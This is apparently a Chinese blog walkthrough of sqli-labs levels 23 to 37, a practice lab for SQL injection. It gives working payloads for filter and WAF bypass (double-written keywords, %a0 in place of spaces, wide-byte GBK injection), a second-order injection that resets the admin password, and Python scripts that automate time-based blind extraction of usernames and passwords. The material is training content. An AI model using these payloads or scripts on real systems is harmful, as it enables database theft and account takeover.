【sqli-labs】 page-2 Less 23-37

发布时间 2023-12-08 22:20:04作者: kazie

WAF 绕过

Less-23

漏洞验证

http://192.168.124.16:8080/Less-23/?id=1'	# 错误
http://192.168.124.16:8080/Less-23/?id=1'	# 正确

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以确定单引号闭合

但似乎 -- 和 # 没有效果

?id=1' --+			# 错误
?id=1' #			# 错误

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以看到,报错信息出现' LIMIT 0,1,明显没有被注释掉,可能这两种注释符都在黑名单里

输入单引号报错,意味着单引号没有被屏蔽,验证

?id=1' and 1='1		# 正确
?id=1' and 1='0		# 无任何显示

payload

# 爆库
?id=1' and updatexml(1,concat(1,database()),1) and 1='1

# 爆表
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1='1

# 爆字段
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name="users")),1) and 1='1

# 脱库,似乎对输出类容进行长度限制,通过 where 语句分批输出
# 前 4 个
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id <5  )),1) and 1='1
# 5 - 8
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=5 and id<9)),1) and 1='1
# 9 - 13
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=9 and id<14)),1) and 1='1
# 14 -
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=14)),1) and 1='1

# password 同 username

Less-24 二阶注入

一共三个页面,第一个是登录页面,登录进去可以修改密码;第二个是忘记密码页面,不可用;第三个是注册页面

先讲步骤,再讲原理

1)注册 admin' #,密码:1234

2)登录 admin' #,密码:1234

3)修改 admin' # 密码为:123456

4)退出 admin' #

5)登录 admin,密码:123456

步骤图解:

1)注册 admin' #,密码:1234

2)登录 admin' #,密码:1234

3)修改 admin' # 密码为:123456

4)退出 admin' #

5)登录 admin,密码:123456

成功登录

原理

核心代码(修改密码)

# 这行代码中,只有旧密码和新密码可控,username 字段不受我们控制
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

修改 admin' # 的密码时,SQL 语句为

UPDATE users SET PASSWORD='123456' where username='admin' #' and password='1234'
# 实际上执行的语句为
UPDATE users SET PASSWORD='123456' where username='admin'

为了执行这个效果,我们首先注册一个 admin' # 账户(相当于为了这碟醋,包了这盘饺子)

1)注册 admin' # 账户

2)通过 admin' # 执行下一步操作

一共两步,也叫二阶

Less-25

页面很明确的说明,屏蔽了 and、or

?id=1' and 1=1 --+

页面最下面会有过滤过后的 id

Hint: Your Input is Filtered with following result: 1 1=1 --

可以看见 and 被替换为空,经过测试发现,大小写都会被替换为空

绕过方法

?id=1' aandnd 1=1 --+	# 双写绕过
?id=0' oorr 1=1 --+

payload

# 爆库
?id=0' oorr updatexml(1,concat(1,database()),1) --+		# or 方法
?id=1' aandnd updatexml(1,concat(1,database()),1) --+	# and 方法

Less-25a

数字型,其余跟 Less-25 一样

Less-26

黑名单:空格、--、#、/*

# 报错注入
# %26 是 &
?id=1'%26%26updatexml(1,concat(1,database()),1)%26%261='1
# 双写绕过,空格替代
?id=1'%a0anandd%a0updatexml(1,concat(1,database()),1)%a0anandd%a01='1

# 利用规则绕过,这个跟后端验证代码顺序有关
?id=1'%a0an--d%a0updatexml(1,concat(1,database()),1)%a0an--d%a01='1		# and ---> a--nd
/?id=1'%a0an#d%a0updatexml(1,concat(1,database()),1)%a0an#d%a01='1		# and ---> a#nd
?id=1'%a0an/*d%a0updatexml(1,concat(1,database()),1)%a0an/*d%a01='1		# and ---> an/*d

Less-26a

')闭合,其余与 Less-26 一致

# 基于回显注入
# 爆表,注意 information 中间有个 or
?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a01='1

Less-27

页面提示 union 和 select 被禁用

黑名单:空格、--、#、/*、union select

?id=1'		# 返回报错信息

payload

# 报错注入
?id=1'and%a0updatexml(1,concat(1,database()),1)%a0and%a01='1

Less-27a

没有报错信息,但 sleep 函数可用

?id=1'%a0and%a0sleep(4)%a0and%a01='1	# sleep 函数可以使用

payload

?id=1"and%a0if(substr(database(),1,1)='s',sleep(5),0)%a0and%a01="1	# 有明显延迟感受
?id=1'%a0and%a0if(substr((seLect%a0group_concat(database(),1,1)='s',sleep(0.2),0)%a0and%a01='1

python 脚本

半自动化

import requests
import string
import time
url = 'http://192.168.124.16:8080/Less-27a/'
# letter = string.printable     # 包含特殊字符、数字、大小写字母

# 生成由小写字母、特殊符号、数字组成的字符串(这个顺序是我查看 sqli-lab 数据库得出来得,这个顺序比上面那个快一点)
# sql 特性:大小写不敏感
# 但 ascii 码大小写敏感,由于 - 被屏蔽,因此,脚本部分使用 ascii 码
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase
index = 1
st = ''

while True:
    limit = 1   # 防止死循环
    for i in letter:
        ## 爆库
        # data = f'?id=1"and%a0if(substr(database(),{index},1)="{i}",sleep(0.3),0)%a0and%a01="1'

        # # 爆表
        # data = f'?id=1"and%a0if(substr((SeleCt%a0group_concat(table_name)%a0' \
        #        f'from%a0information_schema.tables%a0where%a0table_schema=database()),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'

        # # 爆字段
        # data = f'?id=1"and%a0if(substr((SeleCt%a0group_concat(column_name)%a0' \
        #        f'from%a0information_schema.columns%a0where%a0table_name="users"),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'

        # # 枚举所有 password,由于 - 会被屏蔽,此处用 ascii 码进行判断
        # i = ord(i)
        # data = f'?id=1"%a0and%a0if(ascii(substr((SeleCt%a0group_concat(password)%a0from%a0users),{index},1))={i},sleep(0.2),0)%a0and%a01="1'
        # i = chr(i)

        # # 枚举所有 username
        # data = f'?id=1"%a0and%a0if(substr((SeleCt%a0group_concat(username)%a0from%a0users),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'


        start_time = time.perf_counter()	# 执行开始时间
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        end_time = time.perf_counter()		# 执行结束时间

        if end_time-start_time>=0.2:
            st += i     # 获取正确值
            limit = 0   # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
            print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
            index += 1  # 下一位
            break

    if st.count('*') > 10:break     # * 在 sql 中被作为通配符,超过十个,可以认为跑完了
    if limit == 1: break        # 防止死循环
print(st)

优化,自动化

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-27a/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from%a0information_schema.tables",'where':"where%a0table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from%a0information_schema.columns",'where':"where%a0table_name='{table}'"}],
       'password':['',True,{'name':"password",'From':"from%a0{table}",'where':''}],
       'username':['',True,{'name':"username",'From':"from%a0{table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    i = ord(i)
    data = f'?id=1"%a0and%a0if(ascii(substr((seLect%a0group_concat({name})%a0{From}%a0{where}),{index},1))={i},sleep(0.2),0)%a0and%a01="1'
    return data


while True:
    mark = True		# 标记,防止死循环
    num = 0
    # 获取最后一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]

    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        database = dic['database'][0]
        print('\r',end='')
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        num += 1
        if dic[keys[key_index]][2]:
            # 替换 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()


        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

        if num>95:  #
            dic[keys[key_index]][1] = False
            index,num,mark = 1,0,False       # 重置
            key_index += 1
            break

    if mark:exit('错误')	# 防止死循环

Less-28

')闭合,没有报错信息,只能使用联合注入,但 union、select 被屏蔽

黑名单:空格、--、#、/*、union select

payload

# 确定使用字段
?id=0')%a0union%a0select%a01,2,3%a0and%a01=('1
# 后续就是常规爆库爆表

Less-28a

黑名单:union select

黑名单去掉很多,甚至就保留了这一条,难度比 Less-28 低多了

$id= preg_replace('/union\s+select/i',"", $id);

Less-29

无黑名单,单引号闭合跟 Less-1 一样

Less-30

无报错信息,单引号闭合,难度跟 Less-2 一致

Less-31

有报错信息,')闭合

宽字节注入

宽字节:字符大小大 ≥ 2 字节

1、编码

GBK系列、UTF系列

8 位 = 1 字节

1)GBK 系列

  • 定长(16位)
  • 我国针对汉字提出的编码

2)UTF 系列:

  • 变长。UTF-8(8位、16位、24位、32位)、UTF-16(16位、32位)、UTF-32(32位)
  • 全球通用编码,包含全球文字

UTF-8

字节数 使用范围
1 字节 数字、字母
2 字节 带有附加符号的拉丁文、希腊文、西里尔字母、亚美尼亚语、希伯来文、阿拉伯文、叙利亚文及它拿字母
3 字节 汉字,基本等同 GBK(UTF-8 与 GBK 需要转换)
4 字节 中日韩超大字符集里面的汉字

如何确保三个字节代表汉字,不会被识别为三个数字/字母

2、数据处理流程

页面提交数据(php 客户端)---------> php 服务器 ---------> sql 服务器

我们的过滤就在 php 服务器

Less-32

特殊符号被转义,页面最下方有提示

payload

# 宽字节注入
?id=1%df' and updatexml(1,concat(1,database()),1) --+

源代码

# 后面的题都有下面这句代码
mysql_query("SET NAMES gbk");		# 设置 gbk 

Less-33

同 Less-32,两题代码不同,效果相同

# 32
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);   //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);          //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);           //escape double quote with a backslash

# 33
$string= addslashes($string); 

Less-34

GET 变成 POST

方法一

1)我们还是用%DF'

username: 1%DF'
password: 1

页面最下方,可以看见 %df 被显示出来

Hint: The Username you input is escaped as : 1ß\'

2)抓包看看

F12,提交username: 1%DF' password: 1

查看请求体,可以看见,%DF' 被编码为 %C3%9F

3)我们将 %C3%9F 修改为 %DF

4)可以看见报错信息,然后常规爆库爆表

方法二

username: 字\' and 1=1 #
password: 1

有效,常规爆库爆表

# 爆库
username: 字' and updatexml(1,concat(1,database()),1) #
password: 1

Less-35

字符型中突然出现数字型,有点坑

数字型

Less-36

有报错、有回显

$string= mysql_real_escape_string($string);    	# 转义 SQL 语句中使用的字符串中的特殊字符
mysql_query("SET NAMES gbk");	# 设置使用 gbk

Less-37

同 Less-34